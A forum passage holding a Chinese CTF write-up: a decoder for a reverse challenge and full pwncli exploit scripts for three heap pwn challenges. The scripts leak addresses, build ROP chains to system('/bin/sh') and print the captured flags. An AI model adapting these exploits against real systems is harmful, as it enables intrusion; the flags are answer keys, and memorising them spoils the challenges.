  0x47, 0x8D, 0x4C, 0x63, 0xE4, 0x82, 0x49, 0xF4, 0x6B, 0x2F, 
  0x5E, 0xB6, 0xEE, 0xF5, 0x15, 0x3D, 0x11, 0xDD, 0xF7, 0x1B, 
  0x58, 0x5D, 0xF2, 0xEC, 0x21, 0x2A, 0xE7, 0x1F, 0x54, 0xD2, 
  0xE0, 0x6B, 0xB7, 0x35, 0x8F, 0xA9, 0x27, 0x59, 0x44, 0xE7, 
  0xB0, 0x66, 0xB9, 0x50, 0xC3, 0x8F, 0x3A, 0x4E, 0x22, 0xD1, 
  0x29, 0xED, 0x3D, 0x55, 0xD7, 0xC7, 0x10, 0x81, 0x9E, 0x70, 
  0x11, 0xE6, 0xFF, 0x7F, 0x90, 0x2A, 0x34, 0xA7, 0xEB, 0x65, 
  0x9B, 0xE1, 0x07, 0xE5, 0xBC, 0xAB, 0x3C, 0x8A, 0x29, 0x6C, 
  0x9B, 0xEF, 0xD6, 0x66, 0x96, 0x6D, 0x7D, 0x9D, 0x29, 0x4D, 
  0xB7, 0x33, 0x48, 0xE5, 0x0A, 0x34, 0x01, 0x62, 0x97, 0xDF, 
  0x8C, 0x02, 0xC8, 0xA3, 0x5F, 0x95, 0x67, 0x99, 0xE7, 0x31, 
  0xB4, 0xAF, 0x88, 0xEE, 0x99, 0x48, 0xF3, 0x4F, 0x32, 0xFE, 
  0x4A, 0xC9, 0x11, 0x4D, 0xD5, 0xC5, 0x97, 0x5F, 0x00, 0x89, 
  0x36, 0x38, 0xF1, 0x9E, 0xAF, 0x3F, 0x48, 0x5A, 0x9C, 0x5F, 
  0x13, 0xC5, 0xF3, 0xD1, 0xC7, 0x3D, 0x2C, 0xF3, 0x94, 0x92, 
  0x09, 0xE4, 0xCB, 0xAF, 0x4E, 0x16, 0x3E, 0xE5, 0xE5, 0xFD, 
  0x41, 0xBD, 0x77, 0x4B, 0x38, 0x6D, 0x22, 0x7C, 0xE1, 0x9A, 
  0x47, 0x9F, 0xC4, 0x32, 0xB0, 0xDB, 0x07, 0xF5, 0x3F, 0x89, 
  0xA7, 0x09, 0x24, 0x77, 0x60, 0x76, 0x79, 0x40, 0x23, 0x0F, 
  0x2A, 0xAE, 0x72, 0xC1, 0xF9, 0xAD, 0x6D, 0x35, 0x57, 0xF7, 
  0xF0, 0x91, 0xCE, 0x00, 0xD1, 0x56, 0x5F, 0xFF, 0x00, 0x8A, 
  0x04, 0x17, 0x3B, 0x25, 0x4B, 0xC1, 0x87, 0x95, 0x9C, 0x3B, 
  0xEC, 0x9A, 0xE9, 0x5C, 0xFB, 0x6F, 0xC6, 0xC6, 0xE6, 0x5D, 
  0x4D, 0x5D, 0x59, 0x2D, 0x37, 0x63, 0x28, 0xF5, 0x3A, 0xC4, 
  0xC1, 0xD2, 0xF7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 
  0x00, 0x00
};

static inline uint8_t rorb(uint8_t a, uint8_t s) {
    s &= 7;
    return (uint8_t)((a >> s) | (a << (8 - s)));
}
static inline uint8_t rolb(uint8_t a, uint8_t s) {
    s &= 7;
    return (uint8_t)((a << s) | (a >> (8 - s)));
}

static void ror9(uint8_t *dst, const uint8_t *rot) {
    for (int i = 0; i < 9; ++i) dst[i] = rorb(dst[i], rot[i]);
}
static void rol9(uint8_t *dst, const uint8_t *rot) {
    for (int i = 0; i < 9; ++i) dst[i] = rolb(dst[i], rot[i]);
}
static void xor9(uint8_t *dst, const uint8_t *opr) {
    for (int i = 0; i < 9; ++i) dst[i] ^= opr[i];
}

// 正向 sbox: out[i] = in[key2[i]-1]
// 逆向 sbox: in[p[i]] = out[i],其中 p[i] = key2[i]-1
static void inv_sbox(uint8_t *state) {
    uint8_t tmp[9];
    for (int i = 0; i < 9; ++i) {
        int p = (int)key2[i] - 1; // 0..8
        tmp[p] = state[i];
    }
    for (int i = 0; i < 9; ++i) state[i] = tmp[i];
}

// 正向 add9: b = key3,逆向需要 key3_inv
static void inv_add9(uint8_t *state, const uint8_t *key3_inv) {
    for (int i = 0; i < 9; ++i) state[i] = key3_inv[state[i]];
}

// 单块(9 字节)逆轮函数:D = E^{-1}
static void inv_one_round(const uint8_t *keystream, uint8_t *blk, const uint8_t *key3_inv) {
    // 逐轮逆序:i = 44 .. 0
    for (int i = 44; i >= 0; --i) {
        const uint8_t *SK = keystream + 18 + 9 * i;

        // 6) 的逆:逆 add9
        inv_add9(blk, key3_inv);

        // 5) 的逆:奇数轮原为 ror(..., key2),逆为 rol;偶数轮原为 rol,逆为 ror
        if (i & 1) {
            // forward: ror9(blk, key2)
            rol9(blk, key2);
        } else {
            // forward: rol9(blk, key2)
            ror9(blk, key2);
        }

        // 4) 的逆:xor SK
        xor9(blk, SK);

        // 3) 的逆:inv_sbox
        inv_sbox(blk);

        // 2) 的逆:奇数轮原为 rol(..., SK),逆为 ror;偶数轮原为 ror(..., SK),逆为 rol
        if (i & 1) {
            // forward: rol9(blk, SK)
            ror9(blk, SK);
        } else {
            // forward: ror9(blk, SK)
            rol9(blk, SK);
        }

        // 1) 的逆:xor key2
        xor9(blk, key2);
    }
}

// 18 字节整体解密(支持任意 9 的倍数;本题 a3=18 无填充)
static void decode_real(const uint8_t *keystream, uint8_t *buf, int a3, const uint8_t *key3_inv) {
    int pad = (9 - a3 % 9) % 9;     // 本题为 0
    int nbytes = a3 + pad;          // 本题为 18
    int nblocks = nbytes / 9;

    uint32_t flag = *(const uint32_t *)(keystream + 424);
    const uint8_t *K0 = keystream + 9; // 仅当 flag==1 时使用

    // 逆 CFB 链:先解最后一块再往前
    for (int bi = nblocks - 1; bi >= 0; --bi) {
        uint8_t *Ci = buf + 9 * bi;

        // D(Ci)
        uint8_t tmp[9];
        memcpy(tmp, Ci, 9);
        inv_one_round(keystream, tmp, key3_inv);

        if (flag == 1) {
            if (bi == 0) {
                // B0 = D(C0) ^ K0
                for (int i = 0; i < 9; ++i) tmp[i] ^= K0[i];
            } else {
                // Bi = D(Ci) ^ C_{i-1}
                for (int i = 0; i < 9; ++i) tmp[i] ^= buf[9 * (bi - 1) + i];
            }
        }
        // 写回明文块 Bi
        memcpy(Ci, tmp, 9);
    }

    // 如需去填充,可在此按 pad 去尾;本题 pad=0 可忽略
}

// 入口:反向滑动窗口解密(ibits 为 0/1,比特数组)
int64_t decode_bits(uint32_t *ibits, int bits_count, const uint8_t *keystream) {
    if (!ibits || bits_count <= 143) return -1;

    // 预计算 key3 的逆查表
    uint8_t key3_inv[256];
    for (int x = 0; x < 256; ++x) key3_inv[key3[x]] = (uint8_t)x;

    // 反向滑动
    for (int pos = bits_count - 144; pos >= 0; --pos) {
        uint8_t v5[27];
        memset(v5, 0, 18);

        // 打包 144 比特为 18 字节(与加密完全一致)
        for (int j = 0; j <= 143; ++j) {
            int byte_idx = j / 8;
            int bit_off = 7 - (j % 8);
            v5[byte_idx] |= (uint8_t)(ibits[pos + j] & 1) << bit_off;
        }

        // 分组解密(18 字节)
        decode_real(keystream, v5, 18, key3_inv);

        // 拆回 144 比特,写回 ibits[pos..pos+143]
        for (int k = 0; k <= 143; ++k) {
            int byte_idx = k / 8;
            int bit_off = 7 - (k % 8);
            ibits[pos + k] = (v5[byte_idx] >> bit_off) & 1;
        }
    }
    return 0;
}

#include <stdio.h>

uint8_t alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!";

uint32_t table[256];

void  gen_table()
{
  int j; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 255; ++i )
    table[i] = -1;
  for ( j = 0; j <= 63; ++j )
    table[alphabet[j]] = j;
}

int main() {
    #define input_len 27

    uint32_t ibits[] = {
        1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0
    };
    decode_bits(ibits, input_len * 6, keystream);

    for (int i = 0; i < input_len * 6; i++)
    {
        printf("%d, ", ibits[i]);
    }

    putchar('\n');

    gen_table();

    uint8_t res[input_len];
    
    for (int i = 0; i < input_len; i++)
    {
        int temp = 0;
        for (int j = 0; j < 6; j++)
        {
            temp = temp * 2 + ibits[i * 6 + j];
        }
        res[i] = temp;
    }

    for (int i = 0; i < input_len; i++)
    {
        // int flag = 0;
        for (int j = 0; j < 256; j++)
        {
            if (table[j] == res[i]) {
                printf("%c", j);
                // flag = 1;
                break;
            }
        }
        // if (!flag) {
        //     printf("\nwrong %x\n", res[i]);
        // }
    }
    
    return 0;
}


ez_heap

这道算是比较基础的堆题,一切都像出题人早就安排好了一样。

结构体如下:

[C] 纯文本查看 复制代码
struct Chunk
{
  int nlen;
  int pad;
  int csize;
  int pad2;
  char name[16];
  __int64 content;
  __int64 listptr;
};


其中content指针在存储的时候会异或一个用户输入的值,使用的时候再异或回去。

一开始要输入一个key,key中可以指定异或指针的值和可以交互的次数。
进入edit name选项有一个漏洞,name可以无限长(只要字符串中没有空格之类的字符,但要通过\0截断绕过长度检查)。
为了泄漏出堆地址和pie地址,需要让content指针指向content指针后面的位置。这里就要精确地设置异或值和布局堆风水,因为scanf("%s")会在字符串最后面补上0,最好只改指针最后一位。
泄漏出pie地址后,我们就可以在delete的时候输入main函数的地址返回到main。delete函数是有后门的,会在edit调用后跳转到任意地址。
第二次回到main函数时先泄漏libc地址,然后找one_gadget。注意直接跳转到one_gadget是会失败的,要在"Please enter your key:"的时候输入全零保证满足one_gadget的条件。

最终exp如下:
[Python] 纯文本查看 复制代码
from pwncli import *

elf = ELF("./heap")
# io = gift.io = elf.process()
io = gift.io = remote("60.205.163.215", 24552)
libc = elf.libc
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------
# flag{where_ILS_myyy_l1b2?_d0f2a59d-c7d7-4e71-8afd-4fced7cb45e2_HkSFbe}

def menu(choice):
    sla(b"Please enter your choice.~~\n", str(choice).encode())

def enter_key(key):
    sa(b"Please enter your key:\n", key)

def add(name, csize, content, key=b"\0" * 8):
    menu(1)
    enter_key(key)
    sla(b"Please enter your name:(size<16)\n", name)
    sla(b"Please enter content size:(size<=0x70)\n", str(csize).encode())
    sla(b"Please enter content:\n", content)


def delete(idx, num=1, key=b"\0" * 8):
    menu(2)
    enter_key(key)
    sla(b"Please enter index:\n", str(idx).encode())
    sla(b"Please enter your lucky numbers:\n", str(num).encode())

def show(idx, key=b"\0" * 8):
    menu(3)
    enter_key(key)
    sla(b"Please enter index:\n", str(idx).encode())

def edit(idx, name, key=b"\0" * 8):
    menu(4)
    enter_key(key)
    sla(b"Please enter index:\n", str(idx).encode())
    sa(b"Please enter your new name:(size<16)", name)



payload = b"admin:" + b"\x11" * 8 + b":Junior:30"
sla(b"Do you want to play a game with me?", payload)

add(b"x", 0x10, b"aaa") # 0
add(b"x", 0x10, b"aaa") # 1
delete(0)
add(b"x", 0x10, b"aaa") # 2
delete(2)
add(b"x", 0x10, b"aaa") # 3
delete(3)
add(b"x", 0x10, b"aaa") # 4
delete(4)
add(b"x", 0x10, b"aaa") # 5
delete(5)
add(b"x", 0x10, b"aaa") # 6
delete(6)
add(b"x", 0x10, b"aaa") # 7


edit(7, fit(0, 0) + b"\n")

show(7)

ru(b"content: ")

heap_addr = u64_ex(xor(b'\0' + r(7), b"\x11\x11\x11\x11\x11\x11\x11\x11")) & ~0xfff

elf.address = u64_ex(r(6)) - 0x40b8

success(f"{heap_addr = :x}")
success(f"{elf.address = :x}")


main_addr = elf.address + 0x1CC7

delete(1, main_addr) # 回到main函数


payload = b"admin:" + b"\x11" * 8 + b":Junior:30"
sla(b"Do you want to play a game with me?", payload)

add("x", 0x10, b"aaa") # 0

add("x", 0x10, b"aaa") # 1

edit(0, fit(0, 0) + xor(p64(elf.got.puts), b"\x11" * 8) + b'\n')

show(0)

ru(b"content: ")
libc.address = u64_ex(r(6)) - libc.sym.puts

success(f"{libc.address = :x}")

delete(1, libc.address + 0xef52b)

# attach(io)


'''
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
'''

# --------
ia()



container_master

这道题直接逆向我是不想逆了(虽然保留了符号表),所以我把程序导出c源文件后再让ai分析漏洞。
c file.jpg
漏洞在edit的时候可以重新设置输入的大小来产生堆溢出。后面的大家都会就不说了。

这里有个比较重要的地方是远程的堆布局可能和本地是不一样的,所以要先定位到堆的起始位置(堆在页开始处,0x290可作为特征找到),然后根据堆大小算出远程的堆布局。我算出的堆布局如下:
[Plain Text] 纯文本查看 复制代码
0x290
0x12010
0x510
0x1010
0x1010
0x20
0x20
...

然后就是简单的堆攻击了,这里就直接放出wp。
[Python] 纯文本查看 复制代码
#!python3
from pwncli import *

elf = ELF("./pwn")
# io = gift.io = elf.process()
io = gift.io = remote("60.205.163.215", 47337)
libc = elf.libc
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------

'''
1. Exit
2. Add deque to vector
3. Create Animal in deque
4. Remove deque from vector
5. Remove Animal from deque
6. Edit Animal in deque
7. Print Animal in deque
12. Create Animal in vector
13. Remove Animal from vector
14. Edit Animal in vector
15. Print Animal in vector
'''

def menu(choice):
    sla(b"Enter your choice: ", str(choice).encode())

def exit_():
    menu(1)

def add_deque():
    menu(2)

def create_in_queue(queue_idx, size):
    menu(3)
    sla(b"): ", str(queue_idx).encode())
    sla(b"Input size: ", str(size).encode())


def remove_queue():
    menu(4)


def remove_from_queue(queue_idx, animal_idx):
    menu(5)
    sla(b"): ", str(queue_idx).encode())
    sla(b"): ", str(animal_idx).encode())

def edit_in_queue(queue_idx, animal_idx, size, content):
    menu(6)
    sla(b"): ", str(queue_idx).encode())
    sla(b"): ", str(animal_idx).encode())
    sla(b"Input size: ", str(size).encode())
    sa(b"the content :", content)

def print_in_queue(queue_idx, animal_idx):
    menu(7)
    sla(b"): ", str(queue_idx).encode())
    sla(b"): ", str(animal_idx).encode())


def create_in_vector(size):
    menu(12)
    sla(b"Input size: ", str(size).encode())

def remove_from_vector(idx):
    menu(13)
    sla(b"): ", str(idx).encode())

def edit_in_vector(idx, content):
    menu(14)
    sla(b"): ", str(idx).encode())
    sla(b"Input size: ", str(len(content)).encode())
    sa(b"the content :", content)


def print_in_vector(idx):
    menu(15)
    sla(b"): ", str(idx).encode())

create_in_vector(0x10) # 0

create_in_vector(0xC8) # 1

remove_from_vector(1)

create_in_vector(0xC8) # 1

print_in_vector(1)

heapbase = (u64_ex(r(5)) << 12) - 0x14000 # 本地是0x13000,和远程不同

success(f"{heapbase = :x}")

add_deque()

# attach(io)

'''
远程布局
0x290
0x12010
0x510
0x1010
0x1010
0x20
0x20
0x20
0xd0
0x50
0x1000
0x50
0x1000
'''

payload = fit(0, 0, 0, 0x21, 0, heapbase + 8 + 0x290 + 0x12010 + 0x510 + 0x1010 + 0x1010 + 0x20 + 0x20 + 0x20 + 0xd0 + 0x50 +
              0x10)
edit_in_vector(0, payload)

print_in_vector(1)



libc.address = u64_ex(r(6)) - 0x203b20

success(f"{libc.address = :x}")

payload = fit(0, 0, 0, 0x21, 0, libc.sym.environ)
edit_in_vector(0, payload)

print_in_vector(1)


main_ret_addr = u64_ex(r(6)) - 0x130

payload = fit(0, 0, 0, 0x21, 0, main_ret_addr)
edit_in_vector(0, payload)

ret = libc.address + 0x000000000002882f
pop_rdi = libc.address + 0x000000000010f75b
system = libc.sym.system
bin_sh = next(libc.search(b"/bin/sh"))

payload = fit(ret, pop_rdi, bin_sh, system)
edit_in_vector(1, payload)

# attach(io, "b *$rebase(0x18E5)")

menu(1)

# flag{Sakurakouji_Runa_ba1f2b87-0cd4-4245-aa7e-9d15a448b846}

# --------
ia()


ez_jail

这道题逻辑很简单,而且保留了符号表,但是我不知道为什么我做出来会这么复杂。

可以无限uaf,由于不能edit所以要通过house of botcake来完成任意地址分配,但是有个begin_addr只能超出堆地址范围任意写一次。程序不仅无法正常退出,而且puts和printf都被替换为了write,这意味着不能打IO。
到这里我想了很久都没有思路,最后走投无路问了下ai,ai立马帮我找到一个漏洞:由于索引溢出可以修改begin_addr。
当然到这里只是能任意写无限次而已,想获取shell还是很难。这里我唯一的思路就是泄漏栈地址然后在栈上rop。
第一个问题,environ的地址不与0x10对齐,这意味着如果把堆块分配到environ会直接报错。这里的解决方案是找libc上其他栈地址。查找的方式是search -4 <栈地址高32位>,可以搜到除了environ以外其他栈地址,随便找一个与0x10对齐的泄漏就行了。
ezjail_stack.jpg
第二个问题,add在输入最后面会补上0,这意味着即使分配到了堆块还是无法泄漏地址。所以ai也帮我看出了add的时候size是可以为0的。但是这里的结果跟ai描述的不一样,ai认为-1会导致无限越界写,实测是会导致read函数失败返回负一。由于程序没有对-1做异常处理,所以可以防止分配到的堆块里的地址被\0截断。
最终exp如下:

[Python] 纯文本查看 复制代码
#!python3
from pwncli import *

elf = ELF("./ez_jail")
io = gift.io = elf.process()
# io = gift.io = remote("60.205.163.215", 61557)
libc = elf.libc
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------

def menu(choice):
    sla(b"> ", str(choice).encode())


def add(idx, size, content=b"a"):
    menu(1)
    sla(b"idx > ", str(idx).encode())
    sla(b"size ", str(size).encode())
    sla(b"content ", content)


def delete(idx):
    menu(2)
    sla(b"idx > ", str(idx).encode())


def show(idx):
    menu(3)
    sla(b"idx > ", str(idx).encode())


attach(io)

add(1, 0x430)
add(0, 0x10)
# add(2, 0)

delete(0)

show(0)

heap_base = u64_ex(r(5)) << 12
success(f"{heap_base = :x}")

delete(1)
show(1)

libc.address = u64_ex(r(6)) - 0x203b20

success(f"{libc.address = :x}")

# attach(io, "b *$rebase(0x14DE)")

add(0, 0x10) 



# house of botcake
for i in range(7):
    add(i, 0x100)

add(7, 0x100) # prev
add(8, 0x100) # victim

add(9, 0x10) 
add(14, 0x10)
delete(14)
delete(9)



for i in range(7):
    delete(i)

delete(8)
delete(7)

add(10, 0x100)

delete(8)



payload = b"a" * 0x100 + fit(0, 0x111, (heap_base >> 12) ^ (heap_base + 0xc50))
add(11, 0x210, payload)

# attach(io)


add(12, 0x100)

environ = libc.address + 0x2046e0
payload = fit((heap_base >> 12) ^ (environ))
add(13, 0x100, payload)


# attach(io, "b *$rebase(0x1410)")

add(15, 0x10)


menu(1)
sla(b"idx > ", b"16")
sla(b"size ", b"0")

# attach(io, "b *$rebase(0x169D)")

show(16)

stack_addr = u64_ex(r(6)) - 0x120 - 0x18

success(f"{stack_addr = :x}")

add(16, 0x40)

# # house
for i in range(7):
    add(i, 0x110)

add(7, 0x110) # prev
add(8, 0x110) # victim

add(9, 0x30) 


for i in range(7):
    delete(i)

delete(8)
delete(7)

add(10, 0x110)

delete(8)



# pause()

payload = b"a" * 0x110 + fit(0, 0x121, ((heap_base >> 12) + 1) ^ (stack_addr))
add(11, 0x230, payload)

add(12, 0x110)

ret = libc.address + 0x000000000002882f
pop_rdi = libc.address + 0x000000000010f75b
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.sym.system
payload = fit(0, ret, pop_rdi, bin_sh, system)

# attach(io, "b *$rebase(0x1525)")

add(13, 0x110, payload)

# attach(io)




# menu(5)
# add(0, 0x10)



# --------
ia()


后记


由于我不是专业的逆向手,其他逆向题也不会做。另外两道pwn题,v8完全不会,而nothing给的条件太少。我已经通过栈迁移到bss而且有32字节的rop链了,但是由于没有泄漏libc地址无法完成利用。
星期一到星期五都很忙,也就星期六日能静下心来打比赛,wp搁置得越久越不想写,有写得不清晰或不对的地方还请各读者在评论里指出,我会及时修正。

免费评分

参与人数 3吾爱币 +9 热心值 +2 收起 理由
BarkStarry + 1 我很赞同!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
qck + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

zhangzhibo139 发表于 2025-9-16 01:42
题这么难啊,我从开始入门打ctf
qck 发表于 2025-9-16 09:43
Pinus 发表于 2025-9-19 11:48
whya 发表于 2025-9-23 20:15
good有用
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-9-5 01:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表